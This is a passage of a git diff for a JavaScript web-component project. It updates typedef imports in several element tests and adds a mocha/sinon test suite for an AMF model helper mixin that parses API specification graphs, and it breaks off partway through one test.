diff --git a/test/elements/ApiResponseDocumentElement.test.js b/test/elements/ApiResponseDocumentElement.test.js
index 613ec09..9998f44 100644
--- a/test/elements/ApiResponseDocumentElement.test.js
+++ b/test/elements/ApiResponseDocumentElement.test.js
@@ -3,9 +3,9 @@ import { AmfLoader } from '../AmfLoader.js';
 import '../../api-response-document.js';
 
 /** @typedef {import('../../').ApiResponseDocumentElement} ApiResponseDocumentElement */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
-/** @typedef {import('@api-components/amf-helper-mixin').Response} Response */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../../src/helpers/amf').Response} Response */
 
 describe('ApiResponseDocumentElement', () => {
   const loader = new AmfLoader();
diff --git a/test/elements/ApiSchemaDocumentElement.test.js b/test/elements/ApiSchemaDocumentElement.test.js
index 08dd380..de908fd 100644
--- a/test/elements/ApiSchemaDocumentElement.test.js
+++ b/test/elements/ApiSchemaDocumentElement.test.js
@@ -8,9 +8,9 @@ import {
 import '../../api-schema-document.js';
 
 /** @typedef {import('../../').ApiSchemaDocumentElement} ApiSchemaDocumentElement */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../../src/helpers/api').ApiShapeUnion} ApiShapeUnion */
 /** @typedef {import('@anypoint-web-components/anypoint-radio-button/index').AnypointRadioButtonElement} AnypointRadioButtonElement */
 
 describe('ApiSchemaDocumentElement', () => {
diff --git a/test/elements/ApiServerSelectorElement.test.js b/test/elements/ApiServerSelectorElement.test.js
index 8d0dbd2..1fed5b5 100644
--- a/test/elements/ApiServerSelectorElement.test.js
+++ b/test/elements/ApiServerSelectorElement.test.js
@@ -10,7 +10,7 @@ import {
   customItems,
 } from '../../src/elements/ApiServerSelectorElement.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../../').ApiServerSelectorElement} ApiServerSelectorElement */
 
 describe('ApiServerSelectorElement', () => {
diff --git a/test/elements/ApiSummaryElement.test.js b/test/elements/ApiSummaryElement.test.js
index d7de15f..e4a5acb 100644
--- a/test/elements/ApiSummaryElement.test.js
+++ b/test/elements/ApiSummaryElement.test.js
@@ -4,8 +4,8 @@ import { AmfLoader } from '../AmfLoader.js';
 import '../../api-summary.js';
 
 /** @typedef {import('../../').ApiSummaryElement} ApiSummaryElement */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
 
 describe('ApiSummaryElement', () => {
   const loader = new AmfLoader();
diff --git a/test/helpers/AmfHelperMixin.test.js b/test/helpers/AmfHelperMixin.test.js
new file mode 100644
index 0000000..bdb5ee0
--- /dev/null
+++ b/test/helpers/AmfHelperMixin.test.js
@@ -0,0 +1,2142 @@
+import { assert, fixture, html, nextFrame } from '@open-wc/testing';
+import sinon from 'sinon';
+import { AmfLoader } from '../AmfLoader.js';
+import './test-element.js';
+
+/** @typedef {import('./test-element').TestElement} TestElement */
+/** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../../src/helpers/amf').Operation} Operation */
+
+describe('AmfHelperMixin', () => {
+  const loader = new AmfLoader();
+
+  /**
+   * @returns {Promise<TestElement>}
+   */
+  async function basicFixture() {
+    return fixture(html`<test-element></test-element>`);
+  }
+
+  /**
+   * @returns {Promise<TestElement>}
+   */
+  async function modelFixture(amf) {
+    return fixture(html`<test-element
+      .amf="${amf}"></test-element>`);
+  }
+
+  [false, true].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      const asyncApi = 'async-api';
+      let element = /** @type TestElement */ (null);
+      let model;
+      let asyncModel;
+
+      before(async () => {
+        model = await loader.getGraph(compact, 'amf-helper-api');
+        asyncModel = await loader.getGraph(compact, asyncApi);
+      });
+
+      describe('amf setter/getter', () => {
+        beforeEach(async () => {
+          element = await basicFixture();
+        });
+
+        it('sets _amf property', () => {
+          element.amf = model;
+          assert.isTrue(element._amf === model);
+        });
+      });
+
+      describe('ns getter', () => {
+        beforeEach(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('returns an object', () => {
+          assert.typeOf(element.ns, 'object');
+        });
+
+        it('returns namespace', () => {
+          assert.include(element.ns.aml.vocabularies.apiContract.key, 'apiContract#');
+        });
+      });
+
+      describe('__amfChanged()', () => {
+        beforeEach(async () => {
+          element = await basicFixture();
+        });
+
+        it('calls the function when amf property change', () => {
+          const spy = sinon.spy(element, '__amfChanged');
+          element.amf = model;
+          assert.isTrue(spy.args[0][0] === model);
+        });
+
+        it('calls the function only once', () => {
+          const spy = sinon.spy(element, '__amfChanged');
+          element.amf = model;
+          element.amf = model;
+          assert.equal(spy.callCount, 1);
+        });
+      });
+
+      describe('_getAmfKey()', () => {
+        beforeEach(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns undefined when no argument', () => {
+          const result = element._getAmfKey(undefined);
+          assert.isUndefined(result);
+        });
+
+        it('Returns passed property when no amf', () => {
+          element.amf = undefined;
+          const result = element._getAmfKey(element.ns.schema.desc);
+          assert.equal(result, element.ns.schema.desc);
+        });
+
+        it('Returns value for property', () => {
+          const result = element._getAmfKey(element.ns.schema.desc);
+          if (compact) {
+            assert.equal(result.split(':')[1], 'description');
+          } else {
+            assert.equal(result, element.ns.schema.desc);
+          }
+        });
+      });
+
+      describe('_ensureAmfModel()', () => {
+        beforeEach(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns undefined if no argument', () => {
+          assert.isUndefined(element._ensureAmfModel());
+        });
+
+        it('Returns model for array model value', () => {
+          const result = element._ensureAmfModel(model);
+          assert.typeOf(result, 'object');
+        });
+
+        it('Returns model for object model value', () => {
+          const result = element._ensureAmfModel(model);
+          assert.typeOf(result, 'object');
+        });
+
+        it('Returns undefined when no type', () => {
+          const result = element._ensureAmfModel([{}]);
+          assert.isUndefined(result);
+        });
+
+        it('Namespace property is set', () => {
+          assert.typeOf(element.ns, 'object');
+        });
+      });
+
+      describe('_getValue()', () => {
+        beforeEach(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns undefined if no arguments', () => {
+          assert.isUndefined(element._getValue(undefined, undefined));
+        });
+
+        it('Returns undefined if no model argument', () => {
+          assert.isUndefined(element._getValue(undefined, 'test'));
+        });
+
+        it('Returns undefined if no key argument', () => {
+          assert.isUndefined(element._getValue({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          }, undefined));
+        });
+
+        it('Returns undefined if no key in object', () => {
+          assert.isUndefined(
+            element._getValue(
+              /** @type DomainElement */ ({
+                a: [],
+                b: [],
+                '@id': 'amf://1',
+                '@type': ['test'],
+              }),
+              'c'
+            )
+          );
+        });
+
+        it('Returns undefined if no value in value array', () => {
+          assert.isUndefined(
+            element._getValue(
+              /** @type DomainElement */ ({
+                '@id': '1',
+                '@type': ['test'],
+                a: [],
+              }),
+              'a'
+            )
+          );
+        });
+
+        it('Returns the value', () => {
+          assert.equal(
+            element._getValue(
+              /** @type DomainElement */ ({
+                '@id': 'amf://1',
+                '@type': ['test'],
+                a: [
+                  {
+                    '@value': 'test'
+                  }
+                ]
+              }),
+              'a'
+            ),
+            'test'
+          );
+        });
+
+        it('Returns primitive value from compact model', () => {
+          assert.equal(
+            element._getValue(
+              /** @type DomainElement */ ({
+                '@id': 'amf://1',
+                '@type': ['test'],
+                a: 'test'
+              }),
+              'a'
+            ),
+            'test'
+          );
+        });
+      });
+
+      describe('_getValueArray()', () => {
+        beforeEach(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns undefined if no arguments', () => {
+          assert.isUndefined(element._getValueArray(undefined, undefined));
+        });
+
+        it('Returns undefined if no model argument', () => {
+          assert.isUndefined(element._getValueArray(undefined, 'test'));
+        });
+
+        it('Returns undefined if no key argument', () => {
+          assert.isUndefined(element._getValueArray({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          }, undefined));
+        });
+
+        it('Returns undefined if no key in object', () => {
+          assert.isUndefined(
+            element._getValueArray(
+              /** @type DomainElement */ ({
+                a: [],
+                b: [],
+                '@id': 'amf://1',
+                '@type': ['test'],
+              }),
+              'c'
+            )
+          );
+        });
+
+        it('Returns empty array if no value in value array', () => {
+          assert.deepEqual(
+            element._getValueArray(
+              /** @type DomainElement */ ({
+                a: [],
+                '@id': 'amf://1',
+                '@type': ['test'],
+              }),
+              'a'
+            ),
+            []
+          );
+        });
+
+        it('Returns the values', () => {
+          assert.deepEqual(
+            element._getValueArray(
+              /** @type DomainElement */ ({
+                a: [
+                  {
+                    '@value': 'test'
+                  },
+                  {
+                    '@value': 'test2'
+                  }
+                ],
+                '@id': 'amf://1',
+                '@type': ['test'],
+              }),
+              'a'
+            ),
+            ['test', 'test2']
+          );
+        });
+
+        it('Returns values for non object values', () => {
+          assert.deepEqual(
+            element._getValueArray(
+              /** @type DomainElement */ ({
+                a: ['test', 'test2'],
+                '@id': 'amf://1',
+                '@type': ['test'],
+              }),
+              'a'
+            ),
+            ['test', 'test2']
+          );
+        });
+      });
+
+      describe('_hasType()', () => {
+        beforeEach(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns false if no arguments', () => {
+          assert.isFalse(element._hasType(undefined, undefined));
+        });
+
+        it('Returns false if no model argument', () => {
+          assert.isFalse(element._hasType(undefined, 'test'));
+        });
+
+        it('Returns false if no key argument', () => {
+          assert.isFalse(element._hasType({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          }, undefined));
+        });
+
+        it('Returns false if type does not match', () => {
+          assert.isFalse(
+            element._hasType(
+              {
+                '@type': ['a', 'b'],
+                '@id': 'amf://1',
+              },
+              'c'
+            )
+          );
+        });
+
+        it('Returns true if type does match', () => {
+          assert.isTrue(
+            element._hasType(
+              {
+                '@type': ['a', 'b', 'c'],
+                '@id': 'amf://1',
+              },
+              'c'
+            )
+          );
+        });
+      });
+
+      describe('_hasProperty()', () => {
+        beforeEach(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns false if no arguments', () => {
+          assert.isFalse(element._hasProperty(undefined, undefined));
+        });
+
+        it('Returns false if no model argument', () => {
+          assert.isFalse(element._hasProperty(undefined, 'test'));
+        });
+
+        it('Returns false if no key argument', () => {
+          assert.isFalse(element._hasProperty({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          }, undefined));
+        });
+
+        it('Returns false if type does not have property', () => {
+          assert.isFalse(
+            element._hasProperty(
+              /** @type DomainElement */ ({
+                a: 'test',
+                b: 'test',
+                '@id': 'amf://1',
+                '@type': ['test'],
+              }),
+              'c'
+            )
+          );
+        });
+
+        it('Returns true if have a property', () => {
+          assert.isTrue(
+            element._hasProperty(
+              /** @type DomainElement */ ({
+                a: 'test',
+                b: 'test',
+                c: 'test',
+                '@id': 'amf://1',
+                '@type': ['test'],
+              }),
+              'c'
+            )
+          );
+        });
+      });
+
+      describe('_computePropertyArray()', () => {
+        beforeEach(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns undefined if no arguments', () => {
+          assert.isUndefined(element._computePropertyArray(undefined, undefined));
+        });
+
+        it('Returns undefined if no model argument', () => {
+          assert.isUndefined(element._computePropertyArray(undefined, 'test'));
+        });
+
+        it('Returns undefined if no key argument', () => {
+          assert.isUndefined(element._computePropertyArray({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          }, undefined));
+        });
+
+        it('Returns array', () => {
+          assert.deepEqual(
+            element._computePropertyArray(
+              /** @type DomainElement */ ({
+                test: ['a', 'b', 'c'],
+                '@id': 'amf://1',
+                '@type': ['test'],
+              }),
+              'test'
+            ),
+            ['a', 'b', 'c']
+          );
+        });
+      });
+
+      describe('_computePropertyObject()', () => {
+        beforeEach(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns undefined if no arguments', () => {
+          assert.isUndefined(element._computePropertyObject(undefined, undefined));
+        });
+
+        it('Returns undefined if no model argument', () => {
+          assert.isUndefined(element._computePropertyObject(undefined, 'test'));
+        });
+
+        it('Returns undefined if no key argument', () => {
+          assert.isUndefined(element._computePropertyObject({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          }, undefined));
+        });
+
+        it('Returns boolean value', () => {
+          assert.isTrue(
+            element._computePropertyObject(
+              /** @type DomainElement */ ({
+                test: [true],
+                '@id': 'amf://1',
+                '@type': ['test'],
+              }),
+              'test'
+            )
+          );
+
+          assert.isFalse(
+            element._computePropertyObject(
+              /** @type DomainElement */ ({
+                test: [false],
+                '@id': 'amf://1',
+                '@type': ['test'],
+              }),
+              'test'
+            )
+          );
+        });
+
+        it('Returns null value', () => {
+          assert.equal(
+            element._computePropertyObject(
+              /** @type DomainElement */ ({
+                test: [null],
+                '@id': 'amf://1',
+                '@type': ['test'],
+              }),
+              'test'
+            ),
+            null
+          );
+        });
+
+        it('Returns string value', () => {
+          assert.equal(
+            element._computePropertyObject(
+              /** @type DomainElement */ ({
+                test: ['test-value'],
+                '@id': 'amf://1',
+                '@type': ['test'],
+              }),
+              'test'
+            ),
+            'test-value'
+          );
+        });
+
+        it('Returns number value', () => {
+          assert.equal(
+            element._computePropertyObject(
+              /** @type DomainElement */ ({
+                test: [123],
+                '@id': 'amf://1',
+                '@type': ['test'],
+              }),
+              'test'
+            ),
+            123
+          );
+        });
+
+        it('Returns 0 value', () => {
+          assert.equal(
+            element._computePropertyObject(
+              /** @type DomainElement */ ({
+                test: [0],
+                '@id': 'amf://1',
+                '@type': ['test'],
+              }),
+              'test'
+            ),
+            0
+          );
+        });
+      });
+
+      describe('_computeHasStringValue()', () => {
+        beforeEach(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns false if no argument', () => {
+          assert.isFalse(element._computeHasStringValue(undefined));
+        });
+
+        it('Returns false if empty string', () => {
+          assert.isFalse(element._computeHasStringValue(''));
+        });
+
+        it('Returns true if not empty string', () => {
+          assert.isTrue(element._computeHasStringValue('a'));
+        });
+
+        it('Returns true if an object', () => {
+          assert.isTrue(element._computeHasStringValue({ a: 'b' }));
+        });
+
+        it('Returns true if a number', () => {
+          assert.isTrue(element._computeHasStringValue(125));
+          assert.isTrue(element._computeHasStringValue(0));
+        });
+      });
+
+      describe('_computeHasStringValue()', () => {
+        beforeEach(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns false if no argument', () => {
+          assert.isFalse(element._computeHasStringValue(undefined));
+        });
+
+        it('Returns false if empty string', () => {
+          assert.isFalse(element._computeHasStringValue(''));
+        });
+
+        it('Returns true if not empty string', () => {
+          assert.isTrue(element._computeHasStringValue('a'));
+        });
+
+        it('Returns true if an object', () => {
+          assert.isTrue(element._computeHasStringValue({ a: 'b' }));
+        });
+
+        it('Returns true if a number', () => {
+          assert.isTrue(element._computeHasStringValue(125));
+          assert.isTrue(element._computeHasStringValue(0));
+        });
+      });
+
+      describe('_computeHasArrayValue()', () => {
+        beforeEach(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns false if no argument', () => {
+          assert.isFalse(element._computeHasArrayValue(undefined));
+        });
+
+        it('Returns false if empty array', () => {
+          assert.isFalse(element._computeHasArrayValue([]));
+        });
+
+        it('Returns false if not array', () => {
+          // @ts-ignore
+          assert.isFalse(element._computeHasArrayValue('a'));
+        });
+
+        it('Returns true if array has items', () => {
+          assert.isTrue(element._computeHasStringValue(['a']));
+        });
+      });
+
+      describe('_computeDescription()', () => {
+        beforeEach(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns undefined if no argument', () => {
+          assert.isUndefined(element._computeDescription(undefined));
+        });
+
+        it('Returns undefined if empty object', () => {
+          assert.isUndefined(element._computeDescription({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          }));
+        });
+
+        it('Returns undefined if no description key', () => {
+          assert.isUndefined(
+            element._computeDescription(/** @type DomainElement */ ({
+              a: 'test',
+              '@id': 'amf://1',
+              '@type': ['test'],
+            }))
+          );
+        });
+
+        it('Returns the description', () => {
+          const shape = {
+            '@id': 'amf://1',
+            '@type': ['test'],
+            [element._getAmfKey(element.ns.schema.desc)]: {
+              '@value': ['test'],
+              '@id': 'amf://1',
+              '@type': ['test'],
+            }
+          };
+          assert.equal(element._computeDescription(shape), 'test');
+        });
+      });
+
+      describe('_computeEncodes()', () => {
+        beforeEach(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns undefined if no argument', () => {
+          assert.isUndefined(element._computeEncodes(undefined));
+        });
+
+        it('Returns undefined if no encodes', () => {
+          assert.isUndefined(element._computeEncodes({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          }));
+        });
+
+        it('Returns an array from AMF model', () => {
+          const result = element._computeEncodes(model);
+          assert.typeOf(result, 'object');
+        });
+      });
+
+      describe('_computeDeclares()', () => {
+        beforeEach(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns undefined if no argument', () => {
+          assert.isUndefined(element._computeDeclares(undefined));
+        });
+
+        it('Returns undefined if no declares', () => {
+          assert.isUndefined(element._computeDeclares({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          }));
+        });
+
+        it('Returns undefined argument is empty array', () => {
+          // @ts-ignore
+          assert.isUndefined(element._computeDeclares([]));
+        });
+
+        it('Returns an array from AMF model', () => {
+          const result = element._computeDeclares(model);
+          assert.typeOf(result, 'array');
+        });
+
+        it('returns all items in the array', () => {
+          const result = element._computeDeclares(model);
+          assert.isAbove(result.length, 1);
+        });
+      });
+
+      describe('_computeReferences()', () => {
+        beforeEach(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns undefined if no argument', () => {
+          assert.isUndefined(element._computeReferences(undefined));
+        });
+
+        it('Returns undefined argument is empty array', () => {
+          // @ts-ignore
+          assert.isUndefined(element._computeReferences([]));
+        });
+
+        it('Returns undefined if no references', () => {
+          assert.isUndefined(element._computeReferences({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          }));
+        });
+
+        it('Returns an array from AMF model', () => {
+          const result = element._computeReferences(model);
+          assert.typeOf(result, 'array');
+        });
+
+        it('returns all items in the array', () => {
+          const result = element._computeReferences(model);
+          assert.isNotEmpty(result);
+        });
+      });
+
+      describe('_computeWebApi()', () => {
+        beforeEach(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns undefined if no argument', () => {
+          assert.isUndefined(element._computeWebApi(undefined));
+        });
+
+        it('Returns undefined if no encodes', () => {
+          assert.isUndefined(element._computeWebApi({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          }));
+        });
+
+        it('Returns undefined if no WebApi', () => {
+          const key = element._getAmfKey(element.ns.aml.vocabularies.document.encodes);
+          const amfModel = {
+            '@id': 'amf://1',
+            '@type': ['test'],
+          };
+          amfModel[key] = {};
+          assert.isUndefined(element._computeWebApi(amfModel));
+        });
+
+        it('Returns an object from AMF model', () => {
+          const result = element._computeWebApi(model);
+          assert.typeOf(result, 'object');
+        });
+
+        it('should return undefined for AsyncAPI model', async () => {
+          element = await modelFixture(asyncModel);
+          assert.isUndefined(element._computeWebApi(asyncModel));
+        })
+      });
+
+      describe('_computeApi()', () => {
+        beforeEach(async () => {
+          element = await basicFixture();
+        });
+
+        it('should return undefined if no argument', () => {
+          assert.isUndefined(element._computeApi(undefined));
+        });
+
+        it('should return undefined if no encodes', () => {
+          assert.isUndefined(element._computeApi({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          }));
+        });
+
+        it('should return undefined if not API', () => {
+          const key = element._getAmfKey(element.ns.aml.vocabularies.document.encodes);
+          const amfModel = {
+            '@id': 'amf://1',
+            '@type': ['test'],
+          };
+          amfModel[key] = {};
+          assert.isUndefined(element._computeApi(amfModel));
+        });
+
+        describe('WebAPI', () => {
+          beforeEach(async () => {
+            element = await modelFixture(model);
+          });
+
+          it('should return encodes node from AMF model', () => {
+            const result = element._computeApi(asyncModel);
+            assert.typeOf(result, 'object');
+          });
+
+          it('should return encodes if API type is missing but WebAPI type is present', () => {
+            const key = element._getAmfKey(element.ns.aml.vocabularies.document.encodes);
+            const webApiKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.WebAPI);
+            const amfModel = {
+              '@id': 'amf://1',
+              '@type': ['test'],
+            };
+            amfModel[key] = {
+              '@type': [webApiKey]
+            };
+            assert.typeOf(element._computeApi(amfModel), 'object');
+          });
+        });
+
+        describe('AsyncAPI', () => {
+          beforeEach(async () => {
+            element = await modelFixture(asyncModel);
+          });
+
+          it('should return encodes node from AMF model', () => {
+            const result = element._computeApi(asyncModel);
+            assert.typeOf(result, 'object');
+          });
+
+          it('should return encodes if API type is missing but WebAPI type is present', () => {
+            const key = element._getAmfKey(element.ns.aml.vocabularies.document.encodes);
+            const asyncApiKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.AsyncAPI);
+            const amfModel = {
+              '@id': 'amf://1',
+              '@type': ['test'],
+            };
+            amfModel[key] = {
+              '@type': [asyncApiKey]
+            };
+            assert.typeOf(element._computeApi(amfModel), 'object');
+          });
+        });
+      });
+
+      describe('_isWebAPI()', () => {
+        beforeEach(async () => {
+          element = await basicFixture();
+        });
+
+        it('should return false if no argument', () => {
+          assert.isFalse(element._isWebAPI(undefined));
+        });
+
+        it('should return false if no encodes', () => {
+          assert.isFalse(element._isWebAPI({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          }));
+        });
+
+        it('should return false for AsyncAPI', async () => {
+          element = await modelFixture(asyncModel);
+          assert.isFalse(element._isWebAPI(asyncModel));
+        });
+
+        it('should return true for WebAPI', async () => {
+          element = await modelFixture(model);
+          assert.isTrue(element._isWebAPI(model));
+        });
+      });
+
+      describe('_isAsyncAPI()', () => {
+        beforeEach(async () => {
+          element = await basicFixture();
+        });
+
+        it('should return false if no argument', () => {
+          assert.isFalse(element._isAsyncAPI(undefined));
+        });
+
+        it('should return false if no encodes', () => {
+          assert.isFalse(element._isAsyncAPI({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          }));
+        });
+
+        it('should return true for AsyncAPI', async () => {
+          element = await modelFixture(asyncModel);
+          assert.isTrue(element._isAsyncAPI(asyncModel));
+        });
+
+        it('should return false for WebAPI', async () => {
+          element = await modelFixture(model);
+          assert.isFalse(element._isAsyncAPI(model));
+        });
+      });
+
+      describe('_isAPI()', () => {
+        beforeEach(async () => {
+          element = await basicFixture();
+        });
+
+        it('should return false if no argument', () => {
+          assert.isFalse(element._isAPI(undefined));
+        });
+
+        it('should return false if no encodes', () => {
+          assert.isFalse(element._isAPI({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          }));
+        });
+
+        it('should return true for AsyncAPI', async () => {
+          element = await modelFixture(asyncModel);
+          assert.isTrue(element._isAPI(asyncModel));
+        });
+
+        it('should return true for WebAPI', async () => {
+          element = await modelFixture(model);
+          assert.isTrue(element._isAPI(model));
+        });
+      });
+
+      describe('_computeServer()', () => {
+        beforeEach(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns undefined if no argument', () => {
+          assert.isUndefined(element._computeServer(undefined));
+        });
+
+        it('Returns undefined if no encodes', () => {
+          assert.isUndefined(element._computeServer({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          }));
+        });
+
+        it('Returns an object from AMF model', () => {
+          const result = element._computeServer(model);
+          assert.typeOf(result, 'object');
+        });
+      });
+
+      describe('_computeProtocols()', () => {
+        beforeEach(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns undefined if no argument', () => {
+          assert.isUndefined(element._computeProtocols(undefined));
+        });
+
+        it('Returns array with values', () => {
+          const result = element._computeProtocols(model);
+          assert.typeOf(result, 'array');
+          assert.deepEqual(result, ['HTTPS']);
+        });
+      });
+
+      describe('_computeEndpointByPath()', () => {
+        // let webApi;
+        before(async () => {
+          element = await modelFixture(model);
+          // webApi = element._computeWebApi(model);
+        });
+
+        it('Returns undefined if no model argument', () => {
+          const result = element._computeEndpointByPath(undefined, '/test');
+          assert.isUndefined(result);
+        });
+
+        it('Returns undefined if no path argument', () => {
+          const webApi = element._computeWebApi(model);
+          const result = element._computeEndpointByPath(webApi, undefined);
+          assert.isUndefined(result);
+        });
+
+        it('Returns undefined if path not found', () => {
+          const webApi = element._computeWebApi(model);
+          const result = element._computeEndpointByPath(webApi, '/test');
+          assert.isUndefined(result);
+        });
+
+        it('Returns model for an endpoint', () => {
+          const webApi = element._computeWebApi(model);
+          const result = element._computeEndpointByPath(webApi, '/changes');
+          assert.typeOf(result, 'object');
+        });
+      });
+
+      describe('_computeEndpoints()', () => {
+        let webApi;
+        before(async () => {
+          element = await modelFixture(model);
+          webApi = element._computeWebApi(model);
+        });
+
+        it('returns a list of endpoints', () => {
+          const result = element._computeEndpoints(webApi);
+          assert.typeOf(result, 'array');
+          assert.isAbove(result.length, 1);
+        });
+      });
+
+      describe('_computeExpects()', () => {
+        let operation;
+        let noExpectsOperation;
+        before(async () => {
+          element = await modelFixture(model);
+          const webApi = element._computeWebApi(model);
+          const endpoint = element._computeEndpointByPath(webApi, '/changes/watch');
+          const key = element._getAmfKey(element.ns.aml.vocabularies.apiContract.supportedOperation);
+          // eslint-disable-next-line prefer-destructuring
+          operation = endpoint[key][0];
+          // eslint-disable-next-line prefer-destructuring
+          noExpectsOperation = endpoint[key][1];
+        });
+
+        it('Returns undefined if no argument', () => {
+          assert.isUndefined(element._computeExpects(undefined));
+        });
+
+        it('Returns undefined if operation does not have "expects"', () => {
+          assert.isUndefined(element._computeExpects(noExpectsOperation));
+        });
+
+        it('Returns object for an operation', () => {
+          const result = element._computeExpects(operation);
+          assert.typeOf(result, 'object');
+        });
+      });
+
+      describe('_computeEndpointModel()', () => {
+        let webApi;
+        before(async () => {
+          element = await modelFixture(model);
+          webApi = element._computeWebApi(model);
+        });
+
+        it('Returns undefined if no arguments', () => {
+          assert.isUndefined(element._computeEndpointModel(undefined, undefined));
+        });
+
+        it('Returns undefined if no model argument', () => {
+          assert.isUndefined(element._computeEndpointModel(undefined, 'test'));
+        });
+
+        it('Returns undefined if no selected argument', () => {
+          assert.isUndefined(element._computeEndpointModel(webApi, undefined));
+        });
+
+        it('Returns undefined if selection does not exists', () => {
+          assert.isUndefined(element._computeEndpointModel(webApi, 'hello'));
+        });
+
+        it('Returns object for endpoint', () => {
+          const endpoint = element._computeEndpointByPath(webApi, '/changes/watch');
+          const id = endpoint['@id'];
+          const result = element._computeEndpointModel(webApi, id);
+          assert.typeOf(result, 'object');
+          const type = element._getAmfKey(element.ns.aml.vocabularies.apiContract.EndPoint);
+          assert.equal(result['@type'][0], type);
+        });
+      });
+
+      describe('_computeMethodModel()', () => {
+        let webApi;
+        before(async () => {
+          element = await modelFixture(model);
+          webApi = element._computeWebApi(model);
+        });
+
+        it('Returns undefined if no arguments', () => {
+          assert.isUndefined(element._computeMethodModel(undefined, undefined));
+        });
+
+        it('Returns undefined if no model argument', () => {
+          assert.isUndefined(element._computeMethodModel(undefined, 'test'));
+        });
+
+        it('Returns undefined if no selected argument', () => {
+          assert.isUndefined(element._computeMethodModel(webApi, undefined));
+        });
+
+        it('Returns undefined if selection does not exists', () => {
+          assert.isUndefined(element._computeMethodModel(webApi, 'hello'));
+        });
+
+        it('Returns object for method', () => {
+          const endpoint = element._computeEndpointByPath(webApi, '/permissionIds/{email}');
+          let op = element._computeOperations(webApi, endpoint['@id']);
+          if (op instanceof Array) {
+            // @ts-ignore
+            // eslint-disable-next-line prefer-destructuring
+            op = op[0];
+          }
+          const result = element._computeMethodModel(webApi, op['@id']);
+          assert.typeOf(result, 'object');
+          const type = element._getAmfKey(element.ns.aml.vocabularies.apiContract.Operation);
+          assert.equal(result['@type'][0], type);
+        });
+      });
+
+      describe('_computeType()', () => {
+        let references;
+        let declares;
+        before(async () => {
+          element = await modelFixture(model);
+          declares = element._computeDeclares(model);
+          references = element._computeReferences(model);
+        });
+
+        it('returns undefined if no arguments', () => {
+          assert.isUndefined(element._computeType(undefined, undefined, undefined));
+        });
+
+        it('returns undefined if no model argument', () => {
+          assert.isUndefined(element._computeType(undefined, undefined, 'test'));
+        });
+
+        it('returns undefined if no selected argument', () => {
+          assert.isUndefined(element._computeType(declares, references, undefined));
+        });
+
+        it('returns undefined if selection does not exists', () => {
+          assert.isUndefined(element._computeType(declares, references, 'not-here'));
+        });
+
+        // it('Returns type in declarations', () => {
+        //   const id = declares[1]['@id']; // Node shape.
+        //   const result = element._computeType(declares, undefined, id);
+        //   assert.typeOf(result, 'object');
+        //   const type = element._getAmfKey(element.ns.w3.shacl.NodeShape);
+        //   assert.equal(result['@type'][0], type);
+        // });
+
+        // it('returns type for non-compact id', () => {
+        //   if (!compact) {
+        //     // This only affects compact model.
+        //     return;
+        //   }
+        //   const id = `amf://id${  declares[1]['@id']}`;
+        //   const result = element._computeType(declares, undefined, id);
+        //   assert.typeOf(result, 'object');
+        //   const type = element._getAmfKey(element.ns.w3.shacl.NodeShape);
+        //   assert.equal(result['@type'][0], type);
+        // });
+
+        it('returns type in references (library)', () => {
+          const dKey = element._getAmfKey(element.ns.aml.vocabularies.document.declares);
+          const library = references.find((unit) => unit['@type'].find((t) => t.indexOf('Module') !== -1));
+          // let ref = references[4][dKey][0];
